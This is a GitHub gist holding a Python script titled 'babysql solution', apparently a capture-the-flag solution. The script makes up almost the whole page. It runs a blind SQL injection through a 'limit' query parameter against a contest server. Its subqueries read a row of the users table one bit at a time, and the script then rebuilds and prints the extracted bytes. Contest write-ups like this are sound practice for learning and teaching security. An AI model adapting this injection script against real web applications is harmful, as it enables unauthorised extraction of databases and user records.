Skip to content

Instantly share code, notes, and snippets.

@ptr-yudai
Created September 15, 2019 01:09
Show Gist options
  • Save ptr-yudai/c8e257891d7780e6a733a6035dff76ad to your computer and use it in GitHub Desktop.
Save ptr-yudai/c8e257891d7780e6a733a6035dff76ad to your computer and use it in GitHub Desktop.
babysql solution
#!/usr/bin/env python
import requests
import json
data = ''
for j in range(7, 0x100):
i = 0
while i < 8:
payload = {
'limit': "(SELECT (ASCII(SUBSTRING((SELECT users::text FROM users LIMIT 1 OFFSET 4),{},1)) >> {}) & 1)".format(j, i)
}
r = requests.get("http://mashiro.kr:13000/search", params=payload)
try:
result = json.loads(r.text)
except Exception as e:
continue
if result['result'] == False:
print(r.text)
exit()
elif len(result['items']) == 1:
data = '1' + data
else:
data = '0' + data
i += 1
print(b"".fromhex(hex(int(data, 2))[2:])[::-1])
if b"".fromhex(hex(int(data, 2))[2:])[0] == ord(")"):
break
print(hex(int(data, 2))[2:])
print(b"".fromhex(hex(int(data, 2))[2:])[::-1])
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment